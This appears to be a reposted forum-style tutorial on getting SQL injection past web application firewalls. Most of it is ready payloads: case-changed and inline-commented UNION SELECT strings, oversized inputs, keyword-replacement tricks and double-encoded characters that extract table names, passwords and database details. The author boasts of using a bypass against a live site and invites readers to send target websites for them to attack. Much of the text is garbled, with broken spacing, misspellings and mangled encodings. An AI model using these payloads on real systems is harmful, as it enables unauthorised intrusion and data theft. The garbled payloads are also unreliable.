WAF Bypass: SQL Injection (forbidden or not ?)

From: http://kyle-sandilands.com /? P = 1995

WAF BYPASS SQL INJECTION

This is such a wide Topic, but today were going to examine WAF bypas and SQL injection What is a WAF? A waf is a Web Application Firewall used to filter certain malicious requests and/or keywords. Is a WAF a safe way to protect my Website? Well, thats a tough question. a waf alone will not protect your website if your code is vulnerable, but a WAF and secure coding will. a waf shoshould be used as a tool in your tool shed, but you shoshould never count on a WAF to keep attackers out because most, if not all WAF's can be bypassed with the time and brains. today, we will take a look into how exactly to do this

1) Comments:

SQL comments are a blessing to us SQL injectors. they allow us to bypass alot of the restrictions of Web application firewalland to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. some comments in SQL:

//,-,/**/, #,-+,--,; % 00

2) Case Changing:

Some WAF's will filter only lowercase attacks As we can see we can easily evade this by case changing:

Possible Regex filter:

/Union \ sselect/g

Id = 1 + UnIoN/**/SeLeCT, or with XSS-> alert (1)

3) Inline Comments:

Some WAF's filter key words like/union \ sselect/ig We can bypass this filter by using inline comments most of the time, more complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:

Id = 1 /*! UnIoN */SeLeCT

Take notice of the exclamation point /*! Code */The exclamation point executes our SQL statement.

Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. for example, lets pretend a site filters union, where, table_name, table_schema, =, and information_schema .. these are 3 statements we need to inject our target.
For this we wowould:

Id = 1 /*! UnIoN */+ SeLeCT + 1, 2, concat (/*! Table_name */) + FrOM/* information_schema */. tables /*! WHERE */+ /*! TaBlE_ScHeMa */+ like + database ()--

The above code wowould bypass the filter. Notice we can use "like" instead of "="

Another way to use inline comemets, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:

Id = 1 + UnIoN/* & a = */SeLeCT/* & a = */1, 2, 3, database ()--

The above code shocould bypass the Union + select filters even where common inline comments didn't work itself

4) Buffer Overflow:/Unexpected input:

Alot of WAFS are written in the C language making them prone to overflow or act differently when loaded with a bunch of data. here is a WAF that does it's job correctly, but when given a large amount of Data allows the malicious request and response.

Id = 1 and (select 1) = (Select 0 xaaaaaaaaaaaaaaaaaaa 1000 more A's) + UnIoN + SeLeCT +, version (), database (), user (),, 33, 36-+

This bypass above works. I myself just used this against a Web site recently.

5) Replaced keywords (preg_replace and/or WAF's with the same action ):

Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We cocould bypass that filter like so:

Id = 1 + UNIunionON + SeLselectECT + 1, 2, 3-

As you can see once union + select has been removed our capital UNION + SELECT takes its place successfully injecting our query:

UNION + SELECT + 1, 2, 3-

6) Charachter encoding:

Most WAF's will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.

Examples of double encoding:

Id = 1% 252f % 252a */UNION % 252f % 252a/SELECT % 252f % 252a */1, 2, password % 252f % 252a */FROM % 252f % 252a */Users-+

Some examples of double encoding are:

Single Quote '% u0027
% U02b9
% U02bc
% U02c8
% U2032
% Uff07
% C0 % 27
% C0 % a7
% E0 % 80% a7
______________________________
White Space: % u0020
% Uff00
% C0 % 20
% C0 % a0
% E0 % 80% a0
______________________________
(% U0028
% Uff08
% C0 % 28
% C0 % a8
% E0 % 80% a8
______________________________
) % U0029
% Uff09
% C0 % 29
% C0 % a9
% E0 % 80% a9
______________________________

7) Putting it all together:

After bypassing a few WAF's the task gets easier and easier, but here are some ways to find out how to bypass "your" targetted WAF:

7a) Breaking the SQL statement:

To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. for instance, if union + select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa

7b) Verbose Errors:

When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were injecting the broken syntax (Removed union to stop Forbidden errors ):

Id = 1 + Select + 1, 2, 3-

And the error was something like:

Error at line 1 near \ "+ 1, 2, 3-

We coshould gather that maybe the Word Select is being filtered out and replaced with white space. We coshould confirm this by injection something like:

Sel % 0 bect + 1, 2, 3

From there we wocould see if we can see a Select error. if we did a few more checks will give us a answer we need to bypass this WAF. this is just one of your ways to break down the SQL syntax. you may have to keep breaking it, while bypassing different parts.

8) Advanced Bypassing Techniques:

As stated earlier once you have bypassed a few WAF's it gets easier and more FUN When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. these characters can be: [;:{} () * & $/| <>? "'] We can use these characters to possibly craft a working SQL exploit. for instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. union + select was also properly filtered to produce a Forbidden error. in this instance I was able to use the replaced * to craft my exploit like so:

Id = 1 + uni * on + sel * ect + 1, 2, 3-+

When the * were filtered out the union + select fell right into place. now, UNunionION + SELselectECT wasn't working because union and select were not being replaced only * was. this is a common WAF bypass. find the replaceable character and you find the exploit

Some other bypasses:

Id = 1 + (UnIoN) + (SelECT) +
Id = 1 + (UnIoN + SeLeCT) +
Id = 1 + (UnI) (oN) + (SeL) (EcT)
Id = 1 + 'uni "On '+ 'sel" ECT' <-MySQL only
Id = 1 + 'uni '| 'on' + select' <-MSSQL only

As of MySQL 4.0 it is said that Uni/**/on + Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter/**/out to whitespace it will work no matter what the version.

If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit !!!!!!!!!!!!!!! I know this isn't an exhaustive filter bypass tutorial, but using the above methods (and your brain) will help you bypass most WAF's today.

Enjoy !!

Sources:

Web Application Hackers Handbook
SQL injections: Attack and Defense.